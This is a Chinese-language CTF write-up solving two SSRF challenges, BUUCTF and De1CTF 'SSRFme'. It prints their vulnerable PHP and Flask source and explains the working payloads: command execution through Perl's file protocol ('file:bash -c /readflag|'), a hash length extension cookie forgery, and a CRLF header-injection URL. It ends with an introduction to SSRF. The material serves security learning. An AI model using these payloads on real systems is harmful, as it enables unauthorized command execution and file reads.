SSRF

BUUCTF和De1CTF两道题目

两道SSRF的题目,一次复现,一次做一天才做出来(上午就能出的,我是sb)整理了一下

SSRFme(BUUCTF)

<?php
if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
  $_SERVER['REMOTE_ADDR'] = $_SERVER['HTTP_X_FORWARDED_FOR'];
}
$sandbox = "sandbox/" . md5("orange" . $_SERVER["REMOTE_ADDR"]);
@mkdir($sandbox);
@chdir($sandbox);

$data = shell_exec("GET " . escapeshellarg($_GET["url"]));
$info = pathinfo($_GET["filename"]);
$dir  = str_replace(".", "", basename($info["dirname"]));
@mkdir($dir);
@chdir($dir);
@file_put_contents(basename($info["basename"]), $data);
highlight_file(__FILE__); 

题目解析
1.首先madir创建sandbox/+md5(orange+你的ip)目录,并用chdir修改当前目录
2.shell_exec函数会执行内部的代码,返回值为执行命令后所获取内容的第一行
3.GET命令执行传入的url参数,GET是Lib for WWW in Perl中的命令 目的是模拟http的GET请求
4.escapeshellarg函数将给字符串增加一个单引号并且能引用或者转码任何已经存在的单引号,这样以确保能够直接将一个字符串传入 shell 函数,并且还是确保安全的。
5.pathinfo() 函数以数组的形式返回文件路径的信息。

<?php print_r(pathinfo("/testweb/test.txt"));?>
输出:Array([dirname] => /testweb [basename] => test.txt [extension] => txt)

5.传入filename的最后一级文件夹并将shell_exec函数返回的数据写入文件,可以通过sandbox/+md5(orange+你的ip)/文件名访问

访问根目录
?url=/&filename=a

ip查询,REMOTE_ADDR获取的访问的本机ip
之后可以在sandbox/…../a看到目录,有flag,但是无法访问

然后在大佬wp中发现

perl在open当中可以执行命令,如:open(FD, "ls|")或open(FD, "|ls")都可以执行ls命令  
而GET是在perl下执行的,当GET使用file协议的时候就会调用到perl的open函数

也就是GET中使用file协议可以执行命令,但是需要bash -c

Linux所提供的管道符“|”将两个命令隔开,管道符左边命令的输出就会作为管道符右边命令的输入

构造url:

?url=file:bash -c /readflag|&filename=a    bash -c 执行了命令
访问sandbox/...../a拿到flag

SSRFme(De1CTF)

题目源码

/#! /usr/bin/env python
/#encoding=utf-8
from flask import Flask
from flask import request
import socket
import hashlib
import urllib
import sys
import os
import json
reload(sys)
sys.setdefaultencoding('latin1')

app = Flask(__name__)

secert_key = os.urandom(16)


class Task:
def __init__(self, action, param, sign, ip):
    self.action = action
    self.param = param
    self.sign = sign
    self.sandbox = md5(ip)
    if(not os.path.exists(self.sandbox)):          #SandBox For Remote_Addr
        os.mkdir(self.sandbox)

def Exec(self):
    result = {}
    result['code'] = 500
    if (self.checkSign()):
        if "scan" in self.action:
            tmpfile = open("./%s/result.txt" % self.sandbox, 'w')
            resp = scan(self.param)
            if (resp == "Connection Timeout"):
                result['data'] = resp
            else:
                print resp
                tmpfile.write(resp)
                tmpfile.close()
            result['code'] = 200
        if "read" in self.action:
            f = open("./%s/result.txt" % self.sandbox, 'r')
            result['code'] = 200
            result['data'] = f.read()
        if result['code'] == 500:
            result['data'] = "Action Error"
    else:
        result['code'] = 500
        result['msg'] = "Sign Error"
    return result

def checkSign(self):
    if (getSign(self.action, self.param) == self.sign):
        return True
    else:
        return False


/#generate Sign For Action Scan.
@app.route("/geneSign", methods=['GET', 'POST'])
def geneSign():
param = urllib.unquote(request.args.get("param", ""))
action = "scan"
return getSign(action, param)


@app.route('/De1ta',methods=['GET','POST'])
def challenge():
action = urllib.unquote(request.cookies.get("action"))
param = urllib.unquote(request.args.get("param", ""))
sign = urllib.unquote(request.cookies.get("sign"))
ip = request.remote_addr
if(waf(param)):
    return "No Hacker!!!!"
task = Task(action, param, sign, ip)
return json.dumps(task.Exec())
@app.route('/')
def index():
return open("code.txt","r").read()


def scan(param):
socket.setdefaulttimeout(1)
try:
    return urllib.urlopen(param).read()[:50]
except:
    return "Connection Timeout"



def getSign(action, param):
return hashlib.md5(secert_key + param + action).hexdigest()


def md5(content):
return hashlib.md5(content).hexdigest()


def waf(param):
check=param.strip().lower()
if check.startswith("gopher") or check.startswith("file"):
    return True
else:
    return False


if __name__ == '__main__':
app.debug = False
app.run(host='0.0.0.0',port=80)

题目分析:

def __init__(self, action, param, sign, ip)初始化self类,后面的都是self类的参数

@app.route(‘/‘)改变url路径

waf函数中strip函数删除了param参数前后缀的字符,lower函数将大写变成小写,并检测参数前缀是不是file和gopher,

首先是前几天补的hash长度拓展攻击,geneSign函数那那可以得到action=scan时候的md5(key+param+action),hashpump在action参数后面补位加了个read,生成新的md5和action参数,才可以打印出data的内容

/De1ta?param=http://139.180.128.86  
Cookie:action=scan%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00H%01%00%00%00%00%00%00read;sign=81670763d66ae6d466304b9106550817

可以通过scan函数中urllib.urlopen(param).read()[:50]得到一部分网页内容

{"code": 200, "data": "#! /usr/bin/env python\r\n#encoding=utf-8\r\nfrom flas"}

file和gopher协议都被过滤了,然后就卡住了,

本来觉得可能是python urllib库的一个cve,后来发现好像不行
http://127.0.0.1%0d%0aX-injected:%20header%0d%0ax-leftover:%20:12345/foo这样可以注入HTTP头
然后突然发现urlopen可以直接读取文件,结合hint:flag.txt直接让param为flag.txt就能拿到flag(太草了,那你弄什么waf函数

De1ta?param=flag.txt
Cookie:action=scan%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%e0%00%00%00%00%00%00%00read;sign=d7163f39ab78a698b3514fd465e4018a

SSRF介绍

SSRF(Server-Side Request Forgery:服务器端请求伪造) 是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。一般情况下,SSRF是要目标网站的内部系统。(因为他是从内部系统访问的,所有可以通过它攻击外网无法访问的内部系统,也就是把目标网站当中间人)也就是说通过普通用户可以访问的网站,来攻击内部网络系统。

SSRF 形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能(服务器会响应用户的url请求)且没有对目标地址做过滤与限制。比如从指定URL地址获取网页文本内容,加载指定地址的图片,下载等等。

SSRF漏洞就是通过篡改获取资源的请求发送给服务器,但是服务器并没有检测这个请求是否合法的,然后服务器以他的身份来访问其他服务器的资源。

0%